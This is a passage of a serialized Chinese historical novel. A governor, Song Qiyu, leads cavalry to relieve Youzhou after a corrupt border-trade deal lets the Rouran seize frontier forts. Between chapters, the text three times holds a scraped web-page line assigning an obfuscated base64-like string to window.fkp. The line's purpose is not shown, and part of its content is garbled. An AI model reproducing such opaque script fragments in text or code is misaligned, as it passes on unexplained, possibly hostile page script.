天通帝得到捷报后,欣喜至极。他特命执政单宏波前往岭南传旨,进封张永德为一等公爵。他还命宰相冯体仁带着一帮翰林学士杜撰文章,大肆宣扬这次胜利。很多文人为了博取皇帝欢心,添枝加叶,夸大战果,竟将天通帝吹捧成了英明决断、运筹帷幄的圣人皇帝,而将张永德褒扬成了服从指挥、开疆拓土的伟大统帅。不过,也有不少明白人对这场战争进行了抨击。一位儒生就在对联中尖刻的讽刺道:“今日攻吐蕃,明日攻大理,何日再攻夜郎国?叹黎民膏血全枯,只为一人歌庆有。前年平江南,去年平云贵,而今又平广西省,痛赤县饿殍遍野,每逢万寿祝疆无。” 就在这全国一片纷乱的情况下,山西却进入了高速发展期。凭借着关北建立起来的防御体系,山西获得了少有的和平环境,人民的生产、生活条件得到了大幅度的改善;由于政策合理,各行各业的人都可以通过自己的努力获得收益、积累财富;再加上新技术、新工艺的不断运用,民间的活力得到了极大地激发;结果,就在这一年,山西的主要粮食产量达到了前所未有的一千二百万担,足够河北、山西、陕西三省的人吃用一年;而山西省的工商业和外贸业创造的税款总额也超过了四百万两白银,比河北、陕西两省全部的税款总和还要多。刚刚吃到了甜头的山西官民,只要一谈到节度使大人,每个人都会发自内心地绽放笑容。 在众人之中,有个节度使府邸里的小丫头表现出了格外的喜悦和兴奋。这丫头便是七年前被宋启愚和韩夫人收留的杨可。如今的杨可已经十七岁了,出落的亭亭玉立,明艳动人,且善解人意,活泼可爱。她还研读了大量医书,平时专替家里的女眷们看病调理,还帮着韩夫人管理家务,很得一家人喜欢。可不知从什么时候起,杨可的心里对宋启愚产生了特殊的牵挂。只要老爷一离开她的视线,她的心便似被掏空,整个人都有些魂不守舍;而只要老爷一进门,她便欢快得有如小鸟出笼一般。她每天仔细地检查后厨供应的饭食,精心为老爷准备汤药和补品;她还抢着丫鬟的活儿,给老爷和夫人收拾房间;她甚至为了能偶尔触碰一下老爷的身体,每日等在内院门口,随时准备给老爷再平整一次衣冠。对于杨可的行为,家里人开始并未在意。但时间一长,李夫人和韩夫人渐渐觉出了异样。 这一日,韩夫人单独把杨可叫来。她先问了杨可一些日常琐事,接着,话锋一转说道:“可儿,老爷近日有意在天龙三学增开医药专业,想让你父亲到三学里做先生。这样,你父就不必再为了生意到处奔波,也能给你一个安稳的家了。”杨可轻施万福说:“老爷对我一家恩比天高,夫人对可儿更是处处爱护,可儿谢夫人关心,也替爹爹谢老爷恩典。”韩丽华拉住杨可的手,上下打量了一番,啧啧道:“真是个大美人!我若是男人一定要娶你为妻。”见杨可羞怯地躲闪,韩丽华又说:“不要不好意思吗!十七岁是一个女孩最好的时候,我当年就是在这个年纪嫁给老爷的。我还跟他开了好几个玩笑,若非老爷机敏,险些被我捉弄。这一晃已经过去了十几年,我也为老爷生下了宸儿和宝儿。在我心里,老爷是普天下最好的男人,不但有本事,而且人品好,有担当,对待亲人和朋友更是全身心地爱护。能嫁给他,我这一辈子值了。”杨可望着满脸幸福的韩夫人,无比羡慕地说:“夫人仪态万方,性格洒脱,跟咱老爷正是良配呢。”韩丽华微微一笑说:“那大夫人呢?你怎么评价?”杨可想了想说:“李夫人温婉贤淑,对大人体贴入微,也是老爷的好内助。只是,大夫人少了些决断,遇事不如韩夫人这般沉稳。”韩丽华拍拍杨可的手,说道:“可儿,其实我知道你的心思,我也很想帮你玉成此事。只是,宋家立的有规矩,子弟不可随意纳妾。当年,若不是老太公极力主张,恐怕连我都没有福分进宋家的门呢。”杨可闻言,立即明白了夫人的意思。她跪下,啜泣着说:“夫人折煞奴家了。大人是何等尊贵的身份,我这低贱之人怎敢想着攀附老爷的高枝呢!还求夫人开恩,不要赶我出去,也不要将我配人,我情愿一辈子伺候老爷夫人,纵使来生变牛变马,我也报答夫人的恩情。”韩丽华轻叹一声说:“世间最苦是痴情。可儿,既然你有这样的想法,平常就该收敛些,以免惹人闲话,也省得老爷误会。”杨可流着眼泪说:“可儿记住了。可儿谢夫人开恩。” 从那天起,杨可把对宋启愚的爱恋埋在心底,全身心地投入到对医学着作的比对和修订上。她仅用了四个月,就编制出了一本简单的医学教材。她还央求父亲杨波将其运用在了天龙三学的教学上,并取得了一定的效果。这个美丽的女孩表面上仍象原先一样活泼热情,可每当夜深人静,她总会因抑制不住对宋启愚的思念,伤心落泪。 第四十七回2 耿宇辉失算 宋启愚往援 天通四年十一月,刚刚扑灭了苏十一起义的幽燕节度使耿宇辉以柔然入侵为借口快速撤回了幽州,只委派保州镇守使薛霸进京报捷。原想借这个机会撤换幽燕节度使的天通帝,见自己的计划落了空,不由勃然大怒,当即申斥了薛霸和耿宇辉的儿子耿双,又下旨削减了河北的军备供应。这使得河北经济更加拮据。为了摆脱这种状况,耿宇辉想了不少办法,包括强征兵役费、大斗收粮小斗放粮、广开妓院赌场等等,但这些措施都难以从根本上解决问题。恰在此时,柔然边将博尔帖派遣使者前来,要求与幽州开展边境贸易。正在为财政发愁的耿宇辉眼前一亮,立即答应了柔然人的请求,并表示愿派代表详谈此事。 当天,耿宇辉便找来心腹幕僚商议对策。他让众人先传看了博尔帖的信件,又笑眯眯地说道:“柔然人的牛马、牲畜、皮货、黄金,还有翎毛、草药在咱们大周可都是值钱的东西,若贩到内地去,能有十倍的利;而我大周的茶叶、盐巴、绸缎、器具和粮食一旦倒腾到柔然也能赚取巨额差价。且柔然人提议的边贸,货值巨万,咱们怎么能放过这大好的赚钱机会呢?”参事宴贵卿拱手说:“耿大人所言极是。只要赚了这上千万两银子,我们不但可以立时脱困,而且,后面的几年,我河北也可高枕无忧了。”另一名参事欠身拱手说:“大人,这边贸好是好,不过,柔然人选的贸易区一为张家口堡,二为檀州城,三为营州城,这三处可都是战略要地,一旦有失后果不堪设想啊。”耿宇辉哈哈大笑说:“王参事,这些情况难道本节度不清楚吗?你放心,柔然人来的是商队,又不是骑兵,翻不出什么大浪。况且,关隘险要都在咱们手里,又有重兵把守,他们若来偷袭,咱们马上据关固守,完全来得及。再说,这几年柔然与我大周的关系还算缓和,没有在幽燕与我爆发过大的冲突。也许,他们跟我们一样,想要通过边贸富国强兵、安享太平吧!”一名参将抱拳哂笑着说:“大帅,还是您有雄才大略呀。要是依末将,他们打来更好!你们想想看,只要他们一出兵,咱就可以先派人把他们的货都抢了。别说一本万利,就连本钱咱都省了。”接下来,又有多名官员发表了各自的看法。虽然也有人提出了异议,但总体上还是支持开展边贸的人更多。耿宇辉非常得意,一拍桌子说:“好,这笔钱咱们赚定了。宴参事,就由你带人去跟柔然人谈。”宴贵卿忙起身跪倒说:“卑职遵命,只是这谈判条件要怎么定,还请大人示下。”耿宇辉略略挥了挥手说:“这个,你可以临机决定。你只要记住咱们图的是利,尽量把他们的价钱压低些,把咱们货物的价码标高些也就是了。除此之外,但凡是合理的要求,你不妨先答应他们,打紧不到哪儿去。”宴贵卿又磕了个头说:“卑职明白了。卑职定不辜负大人的信赖。” 散帐之后,宴贵卿刚回到办公处,就有一个削肩膀三角眼的书办一脸谄笑地凑了过来。这人眯缝着眼睛说:“恭喜宴大人获得美差。属下这次仍会替您精算,保证大人能获得最大的利益。”宴贵卿一本正经地往太师椅上一坐,又往左右看了看,大声说道:“老穆,我这是奉了大帅的令,替幽燕百姓谋福利,从来没考虑过自己的利益!”三角眼书办陪着笑继续说:“是是是,宴大人高风亮节,确实办的都是公事。属下已将那几个书办都打发出去了。属下还派人替大人支会了几大牙行,要他们准备所售商品的样本,并尽早把样品和银钱送到您的府上。另外,还有几家想承销柔然商品的货栈,属下也让他们去准备押金了。”宴贵卿向前探了探身子,笑嘻嘻地说:“老穆,还是你会办事。不过,这回,无论牙行还是货栈都得多出点血,原来的五百两太少了,至少每家得出五千两才行。另外,柔然人那边我也得敲他们一笔,谁让他们老来袭击我大周,扰得我们不得安宁呢。我这也算是替战死疆场的将士们讨回点埋骨钱。”姓穆的书办仍然陪着笑说:“大人的爱国情怀,属下自愧不如。属下这就去通知他们。另外,属下一会儿再去趟礼部,让他们赶紧安排场馆和随员,好让大人尽早与柔然人接触,全面接手这摊子事。” 在随后的谈判中,柔然的几位使节表现出了极大的耐心和克制。他们不仅接受了宴贵卿提出的多数条件,而且还愿意先把货物赊给周朝,待宴贵卿卖出商品后,再收取货款。不过,有位使节提出要在张家口堡、檀州城和营州城外修建几座仓库,用于保存货物。他们找的借口是商品数量过大,且价值连城,不敢有闪失。考虑到柔然人的实际情况,又为了显示本方的诚意,宴贵卿同意了柔然人的请求。其后,柔然人又以害怕货物失盗为名,要求派些“散兵游勇”看管仓库。起初宴贵卿没有接受这一主张,但在柔然人当晚给他送去了一坛子马蹄金之后,他最终允准了这项条款。 在签订协议后,柔然人开始堂而皇之地在元宝山、滦平卫、喜峰口等处建设“仓库”。起初,武州、檀州和营州的军民还不以为意,只觉得敌人是到那些地方盖几座房子,可随着柔然“仓库”规模的不断扩大,至天通五年五月,数座坚固的军事堡垒已经矗立在了大周的边境线上,而堡垒里驻守的也尽是柔然的精锐步骑。此时,这些地区的官员和将领们才醒过味来,纷纷向耿宇辉告急,希望节度使能想出应对的良策。可是,这位耿宇辉除了把宴贵卿叫来臭骂一顿,又命令各处关隘封关防备外,就是整天花天酒地、奢靡享乐,完全看不出他有什么扭转乾坤的雄才大略。 天通五年七月,乌利可汗抱病前往了渤海城。在经过了一番布置后,柔然大军于七月末突然攻击了张家口堡、檀州城和营州城。由于之前,已有大批柔然奸细随着他们的商队潜进了这些城池,又由于柔然的先头部队离周朝的边境线实在太近了,所以,柔然人很快便攻陷了这些地区。接着,柔然大军继续南下,向着幽州方向扩大战果。至中秋时节,柔然的东路军已占领了滦州;中路军已进抵古北口;西路军也在占领了武州后,分兵向妫州和怀州两处攻击前进。而周朝的军队虽然也进行了顽强的抵抗,但由于失去了几处战略要地,仅能依托数座孤城打击敌人,作战难度很大,甚至东部已经岌岌可危。在这种情况下,耿宇辉不得不一面向朝廷求援,一面从保州、沧州等处抽调城防军北上,一面再派出部队赴蓟州、平州、密云、涿州加强防卫。 第四十七回3 耿宇辉失算 宋启愚往援 张家口失守的消息很快便传到了大同镇守使席军民的耳朵里。席军民拍着桌子怒骂道:“一群败家子!老子当年把张家口营造得固若金汤,却被这帮王八蛋拱手让给了柔然!武州的军队都是干什么吃的?”他几步走到送信人跟前,一把把他拎起来,怒道:“夏海,马庆明现在什么地方?我那些结义兄弟和他们的部队在哪里?张家口的父老乡亲们又怎么样了?”夏海挣扎道:“席将军,莫发火。咱张家口混进了太多奸细。敌人在一个暗夜,轻易就攻占了元宝山、八角台。他们又里应外合诈开了长城隘口和张家口城门。您的几个结义兄弟战死的战死,溃败的溃败。镇守使大人见张家口已失,武州无险可守,就命常将军和夏将军带领少数部队守武州,而他则领着三千亲军撤往了妫州,跟他儿子马健东会合去了。夏将军在派我冲出来求援的时候,柔然人已经攻破了武州北门。恐怕弟兄们全都凶多吉少啊。”席军民闻言,将夏海扔出了数尺,气愤地说:“废物。我要马上点军,夺回张家口,解救受辱的乡亲。”旋即,他又走上前,扶起夏海说:“兄弟,对不住,我不是冲你。你先下去用饭歇息。本将这就禀报宋大人,争取早日出兵,收复失地。”夏海大哭道:“席将军愿意相救,您便是我武州的大恩人啊……” 宋启愚得到席军民的来信后,立即把吴襄、曹可用、段卫国、余天锡、毛迪等心腹将领叫到演武厅,商议对策。宋启愚略显沉重地说:“事态紧急,若按常规上报,等待命令,恐怕到九月中旬咱们也上不了战场。而到那时,柔然人已经兵临幽州城下。故而,我们必须马上出兵。今日议定后,你们不必等到下次聚将,即刻就可准备执行。”吴襄、毛迪、段卫国等人几乎同时抱拳说:“大帅,该怎样布置,您就下命令吧。”宋启愚招呼众人来到地图前,缓声说道:“关北现有边防军六万五千人,其中一半布置在大同;而关南的城防军共有四万人,再加上全省的万余警巡队,除去留下守边和维持治安的,咱们能够派出的部队只有四万人左右。而我们要正面硬扛的柔然军队超过六万。好在我们有两万骑兵,还有四百多门火炮,能够在局部对敌人形成绝对优势。所以,即使我们不能击败柔然,也可迟滞敌人的进攻,为后援部队到达争取时间。”毛迪小心地提醒道:“大帅,可我山西与河北有大山阻隔,火炮运输恐怕不易呀。”宋启愚欣赏地看了一眼毛迪说:“承循提醒的很对,也很及时。故而,这次,天锡只能带领后续部队向前开进,并加固沿途关城隘口的防卫,解除前线部队的后顾之忧。”余天锡略显不满地捅了一下毛迪,嘟囔道:“承循不厚道,又把我压在后面了。”宋启愚把脸一沉说:“你若不愿去,我可另派人。”看着宋启愚坚定的神情,余天锡赌气说:“谁说不去了,后续就后续,总比没仗打强。”宋启愚眉头略微挑了一下,又说:“这次救援,咱们的速度一定要快,要在敌人没有完全反应过来之前,突然出现在战场上,打乱敌人的计划和部署。故此,我这第一支令要交给席军民,命他带领一万五千人从大同出发,沿着关北长城和山脊,过阳和卫,救怀州城,进而夺回张家口堡。第二支令本帅会交给雁门关镇守韩德明,命他带领七千兵马前往蔚州,在稳固辛堡、常宁、大堡等处的防御后,开赴妫州前线,配合席镇守使和马镇守使歼灭柔然大军。本帅的第三支将令要交给段镇守使,由于关北调走了两万部队,防御略显薄弱,所以,你要调动河东、汾阳的一万城防军增援北方。”段卫国抱拳行礼说:“末将遵命,只要有我在,咱的关北绝不会有失。”宋启愚又对吴襄说:“长白,第四支令交给你,你得把山西的家给我看好了。”吴襄郑重地抱拳说:“宣道就放心吧!”宋启愚指着地图上的几个位置又说:“五天后,我将率领两万部队北上忻州,再折向广昌,出紫荆关,救援河北。这条路长达千里,咱们的步兵前进速度太慢,为了达到出奇制胜的目的,我打算仅率领五千轻骑向前突击,争取以最快的速度到达战场,解幽州危局。后面的步兵部队暂交给承循指挥。”毛迪抱拳躬身说:“末将遵命。”宋启愚又一拍曹可用,说:“大军未动,粮草先行。好兄弟,各路兵马的钱粮供给,后勤保障,就依靠你了。”曹可用使劲点了一下头说:“不消宣道费心,军事供应上,咱从来没有含糊过。” 宋启愚的将令下达当天,整个山西的驻防部队都被调动了起来。其中,求战意愿最为急切的毛奇、许青部在得到席军民允准后,当夜就拔营出发了。 次日熄灯后,二夫人韩丽华缠着丈夫,要求随军出征。已经忙活了一天的宋启愚没好气地训斥道:“自古哪有女人上战场的?啊,对,有个花木兰,不过人家是女扮男装,又是替父从军。你家男人还活着呢,怎么会让你去冒险!”韩丽华撇撇嘴说:“老爷又小看人。你说说除了你,我还败给过谁?”旋即,她又换了一副笑脸,趴在宋启愚肩头说:“老爷,我也打过仗。当年你守大同的时候,把光裕寨的精兵都带走了,不就是我跟着太公守的寨子吗。我还亲手射杀过十几个柔然骑兵呢。前次,老爷出兵丹汉,若不是要为爹爹守孝,我就跟着你去了。这次,老爷孤军在外,又面对十几万柔然虎狼,为妻着实不放心啊!”宋启愚爱怜地拍了拍妻子的头,说道:“别闹了,宸儿和宝儿离不开你,咱这家里也需要你。再说,我去打仗又不是一次两次了,我也不是鲁莽之人,不会有事的。”韩丽华撅起嘴坚持说:“不行,反正我得去。老爷这么棒,要是一眼看不住,有哪个狐狸精钻了你的被窝,那我可就亏大了。”宋启愚搂着妻子笑笑说:“去去去,到一边儿凉快去,越说越离谱了,反正是不能让你去。”韩丽华还不死心,继续争辩着。宋启愚懒得理她,推搪了几句后,便假装瞌睡,打起了呼噜。 转眼到了第五天寅时,宋启愚披挂整齐来到前厅。刘戈、姚凯、段鲲、杨道等部将已在那里等着他了。宋启愚扫视了一眼众人,坚毅地说道:“出发去校场。”众人答应一声,拥着节度使就往门外走。 宋启愚刚到府门前,就见从街口冲来一哨人马。为首一位手擎火把的女将高声喝道:“大帅,韩丽华率领百名骑兵前来护您出征。”宋启愚沉下脸来,假装发怒说:“丽华别胡闹了!本帅命你们速速离开。”这时,从韩丽华身后又上来一员女将,笑嘻嘻地说:“宣道大,我和婶子没胡闹。这次,我爹被你留在了晋阳,我哥被你派到了阳泉,我要是再不出征,我们老吴家就错过这次打柔然的机会了。再说,我跟婶子训练的这些女兵,你看看,一点也不比你的护卫差。”宋启愚压着火气劝慰道:“双兰丫头,别任性。大知道你们都是巾帼豪杰。大把你们留下,为的是更好地稳定人心。大要让前线的将士们明白,自己身后还有强大的靠山,还有无穷的战力。听大的话,带着你婶子回去。大答应你,一旦前线需要,大第一个就调你们前来。”吴双兰有些得意,美滋滋地说:“大要是这么说还行。不过,你一定记得调我们上战场。”宋启愚微微笑了笑说:“丫头,大什么时候骗过你啊!”他又仰头对韩丽华说:“丽华,你的心思我明白。你放心,我绝不会轻身冒险。今天,既然你叫我大帅,那我就以统帅的名义命令你,留驻晋阳,保境安民。”韩丽华略微迟疑后,无奈地点头说:“大帅保重!为妻祝老爷早日凯旋!”随即,她拨转马头,带着手下,有如旋风一般退走了。 望着远去的韩丽华,宋启愚的脸上露出了一丝浅浅的微笑。他默立府前,享受了片刻心灵深处的宁静和温暖。之后,宋启愚和随属们飞身上马,疾驰而去,只留下门前的一对石狮,在幽暗的光影中眦目咧嘴、张牙舞爪。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第四十八回1 幽燕之战 温榆河古称“百泉水”,自军都山发源后,便一路向南奔流。她穿过燕东平原,融汇多条溪流,至丁字沽,注入海河,并归向大海。这条大河既是幽州北面和东面最重要的水道,也是这座北方重镇抗击外侮的最后一道天然屏障。这条温榆河流经淑阳时,突然向西弯折,与通惠河相接,把幽州南部变得水网交错。而在主河道两侧,地貌的形态也繁复起来,既有坦荡无垠的平地,也有连绵起伏的岗丘,并间杂有大片蓊郁苍翠的森林草场。 此时已是申末,太阳西坠,柔和的阳光斜撒在这片绿地上。虫声唧唧,鸟雀啾啁。一阵秋风吹过,千万树梢随之舞动。若不是繁叶间偶尔漏出金属的反光,任谁也难以发现,在这密林深处竟然还隐藏着一支数千人的军队。军将们或坐或站,有正在喂食马匹的,有正在闭目休息的,也有正在啃食干粮的,没有人高声说笑,没有人喧哗喊叫,更没有人奔逐打闹。这支军队的统帅宋启愚把身子斜靠在一棵大槐树上,一边嚼着黄面馒头,一边小声吩咐说:“杨道去传令,让弟兄们把喂过的马都勒上嚼子,看好了,千万不要发出响动。”杨道轻声应了个是,便找各营统领传话去了。宋启愚又小声对申鲤说:“再往北二十几里就到县城了,我原以为,咱们要在那里打一场攻城战,不想,东边的香河迟滞了敌人的步伐。柔然军队要在未末才完成渡河,看样子今天是不会进攻淑阳了。”申鲤点头说:“大帅一向注重远放哨探,这七八千敌人算栽在咱们手里了。不过,大帅,咱们为何不乘他们半渡和搭营的时候攻击他们呢?”宋启愚拿过水壶喝了一口说:“白天太容易暴露我们的实力。承循他们刚到瓦桥关,离我们还有四百多里,若我们有失,他们很难救援。所以,我们要等到天黑透了,再偷袭敌人。到时候,就依照刚才给你们几个统领下达的指令,由你和郭林率领一千骑兵突前,本帅带领两千骑兵在后,蒙正率领一千骑兵追剿残敌,另外,还要让易东带着后军多置火把,迷惑敌人。咱们要让敌军以为在我们身后还有大量跟进部队……” 太阳继续西行,眼看就要落山了,在北面十几里外的草场上,柔然人已经搭好了营寨。成群的柔然士兵或围坐在篝火旁,或躺倒在毡包外,吹牛吵闹,摔跤竞技。还有些人把成扇的牛羊肉架在火堆上烧烤,把大块的茶砖放进奶锅里蒸煮。不大的功夫,馥郁的肉香和茶味便把驻足于此的柔然人熏醉了,甚至把有些人送入了梦乡。 夜幕终于降临了。戌时,之前已悄悄摸到草场边沿的申鲤和郭林,在稍事休整后,突然吹响了哨令。这些求战心切却被压制了一下午的晋阳将士,听闻命令,愤然骑上战马,杀向了柔然营寨。猖狂多日的柔然人万万没有想到,在幽州南部的荒野水网间竟然还藏着这样一支铁血骑兵。周军三下五除二破坏掉栅栏,解决了寨前守卫,一举攻入了敌寨。冲在前头的周军将士挥舞着兵器肆意砍杀着敌兵,而跟在后面的将士则一边攻击一边放火。很多柔然人还没弄明白是怎么回事,便被铁蹄踏破了胸膛。叫喊声、呼救声、呻吟声、马鸣声此起彼伏,整座柔然大寨陷入了混乱。 紧跟着,宋启愚率领两千骑兵呐喊着又突击过来。刚刚恢复了些秩序的柔然部队又一次失去了建制。冲在宋启愚马前的刘戈和程元甲各舞铁枪,杀得柔然兵鬼哭狼嚎、不死带伤。保护在宋启愚左右的段鲲和杨道挥动大刀,砍翻了一个又一个挡道的敌人。主帅宋启愚则一边纵马向前,一边弯弓发箭,进入他射程的柔然兵将无不应铉而倒。远处,张广胜、辛涛、姚凯、丁宁等人的部队也似猛虎下山一般,肆意捕食着猎物。而在更远处,千万火把闪耀在岗丘和森林之间,其中有些还在向着柔然营寨步步逼近。 在晋阳铁骑强大的攻击下,柔然人最终崩溃了。他们纷纷丢下辎重和伤员,夺路逃跑。这时,蒙正的部队也加入进来,对敌人展开了追击。那些溃败的柔然人既没有统一的指挥,也不熟悉此处的地貌,只能乱哄哄地往香河撤退。一时间,到处是高举白刃的兵士,堕马的、被杀的、落水的、自尽的柔然兵将不计其数,香河边成了人间地狱。 已经冲杀到安头屯附近的宋启愚圈回马来。他抵近了一群被围的敌兵,先一箭射死了正在高声叫嚷的柔然将领,又吹响哨令,朗声喝道:“停止战斗。我乃大周山西节度使宋启愚手下的先锋大将吴襄。”一旁护卫的程元甲迟愣了一下,但还是按照大帅的说辞向那些精疲力竭的柔然人喊了话。宋启愚接着说:“吴某奉命先率两万骑兵救援幽州,我家大帅则统六万精锐在后跟随,现已进驻房县。另外,我中央还有十万禁军不日也能抵达前线,再加上幽州城内的十万大军,我周军的总兵力已经数倍于柔然。你等若不知死活,仍执意来攻,我家大帅将让柔然尝到惨败的滋味。”宋启愚轻蔑地看了一眼满脸惊惧的柔然士兵,又说道:“今天是宋大人的二夫人生日。我们宋大人有好生之德,特许放你们一条生路。”宋启愚对左右一挥手说:“把道路闪开,让他们渡过香河,逃命去吧!”晋阳的军将们虽然多少有些不情愿,但还是给这百十个柔然人让出了一条通道。刘戈催马上前,一把扯下柔然军旗,怒吼道:“狗日的东西,还不快滚!”这一小撮陷入绝境的柔然士兵蒙了恩赦,不敢迟疑,丢下兵器,连滚带爬地就朝香河扑去,结果,又有多人淹毙河中。 在命令易东打扫战场后,宋启愚将部队带到了淑阳城下。由于在暗夜不辨真伪,守城军将不敢给宋启愚开门。宋启愚便命令部下就地警戒休息。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第四十八回2 幽燕之战 次日早晨,天光放亮。淑阳城内的官员将佐登上城头向外一望。只见在薄薄的雾霭中,数千骑兵列队城前,那耀眼的盔甲,如林的刀枪,艳丽的旗幡和整齐的军阵,无不昭示着这是一支纪律严明、战无不胜的强悍部队。淑阳县令手把垛口大着胆子问道:“本官是淑阳知县梁世泽。你们是哪里的队伍?来此意欲何为?”宋启愚轻催白马,来到护城河边,昂首言道:“梁县主。我乃钦命山西节度使一等冠军伯宋启愚。因柔然犯我疆土,幽州告急,我闻报后,特提兵前来救援。昨日有七千柔然骑兵渡过香河,欲攻取淑阳县城,不想却被我军乘夜消灭,现在,幽州南部已然安全。”梁世泽听了这话,两腿一软坐到了城上。他涕泪横流地对左右说道:“原以为今天必然城破,我们大伙还有城中百姓全都难逃一死……老天开眼呀!老天开眼呀!朝廷……朝廷来救我们了!宋大人领着救兵来淑阳了!”他二次攀上垛口说:“请宋大人恕罪,可否容梁某查验一下您的凭证,确认一下您的身份,下官也好为贵军开门落桥。”宋启愚微微一笑说:“当然可以。”他随即让段鲲将盖有节度使大印的文书射进了淑阳城。随后,宋启愚命人把昨日割取的几千个柔然人左耳和大量战利品堆在城前。他喊道:“梁县主若还有疑问,不妨派人前往香河沿岸,查看一下昨夜的战场。”梁世泽手捧文书,无比激动地大声对手下人吩咐道:“赶快筛锣,赶快筛锣,让全城的百姓都出来,箪食壶浆,跪迎王师……” 晋阳大军在淑阳城休整了一天。其间,宋启愚还为二百多位战死的英雄举行了隆重的安葬仪式。 第二天一早,宋启愚传见梁世泽,把本方的一百多名伤员委托给他,又向他要了几个向导,便提出要离开淑阳。梁世泽忧心地说:“宋大人,本县乃是幽州门户,可却只有千余守军,且城池低矮。您若离开,一旦柔然大军再至,您让这一方百姓如何自保啊?下官斗胆,还请大人留驻。”宋启愚略一沉吟说:“梁县主只管放心,柔然人在短期之内不敢再觊觎贵县。因为,在前日作战时,我打出的是部将吴襄的旗号,且采用了疑兵战术,那些被我放归的柔然残兵会向其统帅主动报告‘幽州南部有重兵守卫’。因此,他们若集结不了上万部队是不会来挑战的。另外,前天和昨天,我也向三河、蓟州和渠阳派出了多股哨探,除去在泃河东岸驻有柔然大军外,其它地方并未发现大队贼兵。以此估算,即使柔然人迅速从蓟州抽调人马,没有十天,他们也无法到达这里。而到那时,本节度的后续部队已能到达战场,完全可以保护淑阳的安全。”梁世泽重重地给宋启愚磕了几个头说:“宋大人运筹帷幄、料敌在先,这一方百姓总算得救了。下官代表阖城军民感谢宋大人的活命之恩。下官也向您保证,一定照顾好您麾下的伤兵,我会让最好的郎中、抓最好的药给弟兄们治伤。还有,埋葬在城外的那些烈士们,下官也会组织军民常去祭扫,不叫坟前荒芜……” 用过晌饭后,宋启愚一声令下,大军便离开了淑阳。因为要避免遭遇战,宋启愚先率军向北到达了凉水河附近,又挥师向西再次渡过温榆河。为了迟滞柔然人的进攻,宋启愚下令烧毁了所有能找到的船只。 其后,宋启愚的部队在幽州城下游弋了两天。他没有进城,也没有跟幽燕节度使耿宇辉会面,只是命人给其送去了一封书信,并向城内投递了多份安民告示。接着,他便继续北上。在途中休息时,申鲤不解地问:“大帅,咱们为何不进幽州城啊?”宋启愚爽朗地一笑说:“兄弟,你勇武过人且忠义无双,只是智略上稍显不足。那耿宇辉不是好相处的人。他又野心膨胀,总想着割据。我们未奉皇命就进入他的地盘,虽然为他解了困厄,却难以打消他的戒心。一旦两军闹起矛盾来,那岂不坏了国家大计。而且,我听说朝廷刚刚委派大将王国忠和内府大臣马英全提十万禁军北上。那王国忠乃是镇军将军王浩之子,并无太多实战经验;而那马英全更是膏粱子弟,只因与圣上亲近才得高位。这支军队的战力和速度,我可信不过。若他们无法及时到达,幽州能否撑住,我心里也没底。故此,我才给耿宇辉写信,谎称我们是朝廷派来的先锋部队,鼓励他加强防御,奋起抵抗,并约束河北各地,配合朝廷夺回失地。我又在安民告示上说咱们兵力强大,不惧柔然,号召幽州军民坚持抗战、顽强御敌,等待朝廷大军前来救援。”申鲤点点头说:“原来如此。大帅是想稳住耿宇辉,同时,又怕进入幽州暴露了我们的实力。”宋启愚接着说:“你想想看,那耿宇辉妄图分封在前,丢城失地在后,此战结束难逃罪责。在这种情况下,他若心生异志,我们进了城还有出路吗?即使他忠于国家,也会先牺牲我们,保存实力,来日再跟朝廷讨价还价。另外,咱们是骑兵,优势在快速机动。咱们得跟敌人绕着圈子打,而不能与敌人硬扛。我的想法是……权正宜,拿地图来。”跟在旁边的典图官权正宜赶紧取出地形图,铺在节度使面前。宋启愚点指着地图说:“先前我们向蓟州进军是为了快速接敌,以免幽州被合围。现在我们在淑阳取胜,柔然人已不可能再肆无忌惮地骚扰幽州南部。那么我们就要把目光投向北方,一是防备柔然夹击密云、燕乐一带;二是防备柔然从东面攻击妫州地区;避免那里的部队人心惶惶、士气瓦解。所以,咱们接下来的攻击重点在这里。”他用手点了点古北口和居庸关之间的区域,又说:“后面作战,我们还是要尽量采用黑夜偷袭的方式,远派哨探,避免与敌人硬碰硬。”宋启愚扫视了一眼跟前的部将说:“申鲤、刘戈、程元甲、蒙正、布方,你们跟了我多年,我讲的这些都能理解吗?”几位将佐心悦诚服地说道:“大帅将令,末将们明白。” 一天后,周军哨探在古北口以南发现了两支千余人的柔然部队。宋启愚没有迟疑,于当夜就分兵突袭了这两处敌营。他还故技重施,广布疑兵,并宣称自己是山西节度使的麾下将领。结果,柔然的东路统帅博尔帖根据各方通报,做出了错误的判断。他认为周朝援军已到,且兵力强大,于是向前方各部下达了回撤蓟州、滦州的命令。与此同时,毛迪的部队控制了位于淑阳南部的益津关,伍名的部队到达了幽州西面的玉河县,基本解除了敌军对幽州侧后方的威胁。在这种情况下,宋启愚随决定向妫州进发,并打算调集各军围歼柔然的西路军。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第四十八回3 幽燕之战 而在妫州方向,席军民的部队早在五天前就已夺回了张家口堡。由于毛奇、赵横等将领本是武州子弟。他们一听说家乡陷落,全都恨得两眼冒火。当席军民命令毛奇和许青提兵先行时,这两个铁骨铮铮的汉子竟哭拜于地,感谢席将军理解自己早日回乡、解救亲族的强烈意愿。其后,他们带着部队连夜出发,仅用了两天就赶到了怀州前线。 